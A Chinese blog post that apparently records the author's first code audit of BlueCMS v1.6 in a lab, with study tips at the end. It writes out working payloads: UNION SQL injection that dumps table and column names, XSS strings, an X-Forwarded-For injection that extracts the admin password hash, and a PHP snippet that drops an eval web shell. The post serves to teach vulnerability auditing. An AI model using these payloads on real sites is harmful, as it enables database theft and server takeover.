第一次的代码审计--BlueCMS代码审计
之前总说要学习代码审计,但每次面对大量代码时,又没什么开发经验,都是浅尝即止,面对几千行的代码毫无开始的头绪。(看来又印证了那句话:基础决定上层建筑)作为萌新 最开始我还是先去看了许多大佬的文章,了解一下他们的学习路线,并且学习了一些新的思路。这次挑了个小众的CMS入手–BlueCMS作为我的代码审计开始,顺便分享一些自己的总结。
环境配置:
BlueCMS v1.6 sp1
windows7
PHP 5.4.45 + Apache +mysql 5.7.26
项目结构分析
/admin 存放有关后台管理员的所有文件
/api api接口设置
/data
/images 存放图片样式文件
/include 包含全局的文件
函数定义文件、数据库配置、通用过滤配置文件、文本编辑器、支付界面、插件、
/install 网站安装路径
/js 存放js文件
/temlates 存放一些前端的静态模板文件
/uc_client
文章目录
开始审计
1、先对配置文件进行了审计
include/common.inc.php
文件
(1)查看是否对输入输出进行限制
存在统一过滤,必对带有单引号的变量值进行转义
先判断是否开启了get_magic_quotes_gpc()
如果没有的话会用自定义的函数deep_addslashes
对预定义字符进行加反斜杠处理
PS:这里还是自定义的函数过滤更多
漏洞:进行源码分析发现其实对输入输出还是有遗漏
未对传入的$_SERVER值进行检测(伪造client-ip和x-forwarded-for)
PS:可以全局搜索看看getip类似的函数名,查看代码如何获取ip,是否有利用点
漏洞点
ad_js.php存在sql注入
页面功能介绍:在后台管理中模块管理的添加广告所涉及的功能
在文件common.inc.php
中对网站的输入有统一的过滤方法,
对$_post、$_get、$_cookies和$_request
统一进行数据处理。代码如下:
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
PS:具体的可以再看看之前写的。
对ad_js.php的源码进行审计,通过$_GET[] 获取ad_id的值,直接拼接执行sql语句。
追踪函数getone()
,是自定义的函数,代码在mysql.class.php
中,用来查询数据库,代码如下:
利用:
尝试直接对ad_js.php页面进行注入测试
因为是int型注入 直接拼接sql语句,判断出字段数有7个,且只显示第7个字段的值。
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,7
当执行语句错误时(直接显示sql语句)
已经知道数据库的字段数和显示位,并且开发者并未做过多的WAF防御,那么我们就可以执行任意sql语句了
例:
爆破当前数据库的表
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
获取各表中的字段
ad_js.php?ad_id=3 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name=0x626C75655F6164
PS:因为这里对单引号进行了过滤 需要将表名转成16进制进行查询
个人用户注册存在反射型xss攻击
定位:user.php?act=reg
访问user.php,会先接受两个变量 a c t 和 act和 act和from,后端根据act的参数进行执行动作
当$act
值为 reg
时,from
的值会渲染到前端页面value=''
中 ,从而导致xss攻击
因为在全局配置文件中本身就使用了addslashes
对字符进行过滤,但影响不大,构造语句进行拼接触发xss
user.php?act=reg&from="/><button onclick=alert(1)></button>
user.php?act=reg&from="><img src='' onerror=alert(1)>
个人资料编辑存在存储型xss
定位:user.php的邮箱参数
该漏洞有两个地方都可以触发
- 注册账号
- 修改个人资料
通过代码审计和黑盒测试发现,在对email值进行添加或修改时,直接Post进数据库,未对其做任何过滤和检测,从而引起的xss。其他的都做了限制(例如 限制账号和密码长度)
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
$from = !empty($from) ? base64_decode($from) : 'user.php';
if(strlen($user_name) < 4 || strlen($user_name) > 16){
showmsg('用户名字符长度不符');
}
if(strlen($pwd) < 6){
showmsg('密码不能少于6个字符');
}
if($pwd != $pwd1){
showmsg('两次输入密码不一致');
}
if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
showmsg('验证码错误');
}
if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
showmsg('该用户名已存在');
}
if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
showmsg('该用户名已存在');
}
评论模块存在SQL注入
定位:漏洞位置comment.php 漏洞页面:news.php?id=
之前在上文也提到过,在对全局配置include/common.inc.php
进行审计发现
配置文件中对$_post $_get $_cookies $_request
输入统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们可以对ip通过client-ip或x-forwarded-for等进行伪造。代码如下:
/include/comment.fun.php
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
网站直接获取ip,并没有对IP格式进行校验,因此我们可以伪造ip。
这里是使用了Seay工具对整个项目进行扫描发现/include/comment.fun.php
文件中的getip()可疑危险函数。
对getip()进行全文搜索查看调用,发现comment.php,进一步追踪。
comment.php为文章评论功能,跟踪其函数调用位置是一段插入SQL语句命令,代码如下:
通过函数getip()获取$ip变量的值,直接插入到了SQL语句中并执行,可以看出应该存在SQL注入。注入点在文章进行评论的地方。
进入文章进行发布评论
PS:因为bluscms本身代码没开发完整,在发表文章时出现点问题,解决方法见该漏动点最后的地方。
分析SQL语句
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
一共有9个参数,因为insert语句可以一次插入多条数据,那么在构造$ip的内容时,可以通过闭合掉前面的部分,在拼接上后面的部分,使之变成完整的语句即可。通过测试发现其显示位是$content
变量
通过X-Forwarded-For构造payload:
X-Forwarded-For:1','1'),('','1','0','1','6',(select concat(admin_name,pwd) from blue_admin),'1603939754','9
通过查看评论,可以看到admin用户密码的hash值:(其值为admin)
解决无法发表文章问题补充:
因为需要制定文章分类,但代码并没提供相关分类功能,那么自己把那个分类逻辑注释了
打开文件uploads/user.php
定位到act=add_news
,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。
支付端口存在文件包含漏洞
定位:use.php?act=pay
Ps:该漏洞在真实环境中产生的可能性基本不大,虽然没影响,但我觉得还是应该提及一下
分析源码,未对参数$_POST['pay']
做安全检测,直接进行拼接。
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
有经验的人肯定会立马想到截断,然后就可以实现任意文件包含
但这里本身全局配置就对输入做了检测, 因此无法使用%00截断
PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。
然后我们还可以考虑使用路径长度截断,使用字符.或者/.或者./来截断
操作系统对目录有最大长度的限制,linux最长4096,windows最长256,但长度超过最大限制时
但它的要求是PHP 版本小于 5.2.8 ,现在基本没有比他小的PHP版本了吧。
因为我用的是phpstudy,他也没有小于5.2.8版本的php版本,无法演示,就大致说一下思路吧:
利用user.php
中的修改个人资料中的上传头像,上传一个图片马(内容为当执行该文件时会创建一个新文件并写入一句话木马)
<?php
fputs( fopen("test.php","w") , '<?php eval($_POST[test]);?>')
?>
ps:因为在act=pay 的地方 他是通过post传入参数,我们无法直接通过pay
参数上传木马使用蚁剑连接,但可以利用跳板的思路,先利用include,执行图片马生出一个一句话木马后,再通过蚁剑连接上去。
具体测试案例可以参考文章:https://www.freebuf.com/news/196190.html
留言栏IP可伪造
定位:guest_book.php
这是一个提供了留言栏功能的页面,根据源码,构造参数,发送一条留言,显示如下:
居然显示了IP地址,查看源码中的SQL语句:
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
但似乎并没有使用在评论模块中的getip()函数
但利用burp抓包添加XFF头测试后发现确实可以任意修改IP地址,但唯一存在问题的是他限制了IP字段的长度最大是15,猜测应该是在创建的表时对字段长度进行了设置。然后思路断了,无法利用,不知道有没有大佬有骚操作。
零散记录(杂)
在审计时发现的一些有趣的写法
1、安全配置-1
在许多的配置文件(还不确定是不是只是配置文件或者…)的头部会写的写上这么一堆代码
if(!defined('IN_BLUE'))
{
die('Access Denied!');
}
效果:判断是否定义 IN_BLUE
,未定义则当前运行文件直接结束
作用:防止不是从入口文件进入,文件被任意读取和使用,于是项目在对需要调用这些配置文件的代码头上都写上了一句
define("IN_BLUE",true);
2、安全配置-2
初看该文件 有获取参数,有sql查询,而且参数也是直接拼接,认为存在sql注入
但仔细查看却并不存在sql注入。
对获取的参数都经过了intval()函数处理(只取整数部分的值),这是一种非常有效且直接的过滤方式,使用的是白名单。使该文件安全,这个框架的很多获取参数的地方使用的都是intval
3、开发思路-1
在我们显示页面(这里参考user.php中的uc_user_login)所有的函数写法都是
举例:
function uc_user_login($username, $password)
call_user_func(UC_API_FUNC, 'user', 'login')
自定义函数uc_user_login()
,使用call_user_func
回调函数
而UC_API_FUNC
根据后面的参数调用的是不同的API接口
这里是调用uc_client/control/use.php
的 onlogin()
函数
PS:可能我的理解还是有问题,大家可以查阅一些资料进一步了解 关键词:ucenter通信、登录原理 、UCAPI
4、小方法
-
快速查询
.$
看看有没有直接进行拼接的字符串变量,引起SQL注例如:
ad_js.php
中的SQL注入
-
先按照文件目录访问一遍所有的文件,查看其页面显示,简单过一遍代码,尝试可以使用的参数
-
使用代码审计工具(例如Seay)进行辅助,直接定位可疑函数
小结
代码审计方式
- 追踪危险函数(查询关键字)
- 追踪数据流
- 按功能进行审计
- 通读全文
我的审计思路:
最开始先分析一下全局配置文件:
1、对关键字$_GET,$_POST的搜索,是否进行了全局过滤字符
2、查看主页index包含的配置文件
然后进行一个个文件进行审计,但我只查看数据流信息(获取get和post参数的代码)
因为我发现当自己直接从整个项目框架入手时会变得不知所措,不知道到底该看什么,不该看什么,不如把目标放近,从一个个文件出发,只关注何处进行了获取参数。
踩坑
最开始我确实是想一行行进行审计,但我开始真正的代码审计时,发现一行行的读过去是方法根本不可能的,费时又费力,我们进行代码审计的目标就是要学会如何能快速定位目标,并且发现目标问题(这个水平真的太强了,跟学长一起打CTF,虽然他是个Pwn选手,但帮忙看web源码分析时总能非常快速的定位问题,并且他提出的永远是这个地方肯定是这样的,而不是这里可能是这样的)。
代码审计流程学习建议
bwapp、dvwa(漏洞靶场)->blueCMS->小众CMS->dede、wordpress->框架
我现在先尝试的做法:
我是跳过了DVWA的审计,先尝试对一个小众CMS入手(blueCMS),先通读全文,了解了基本功能和结构后,开始正式的代码审计,根据追踪数据流进行代码审计,在审计中会碰到一些常见的功能(例如文件上传,SQL注入),这时候我可能会回去看看DVWA上的对于的web漏洞的源码是怎么写的(因为他既有危险的写法也有完全无危险的写法)。在对数据流都审计完后再看看剩下的一些还没审计的代码
审计搭配的做法:根据漏洞靶场的源码了解某一漏洞的形成,根据我要审计的cms再看看其他网上的审计文章教程
适合自己的方法才是最好的方法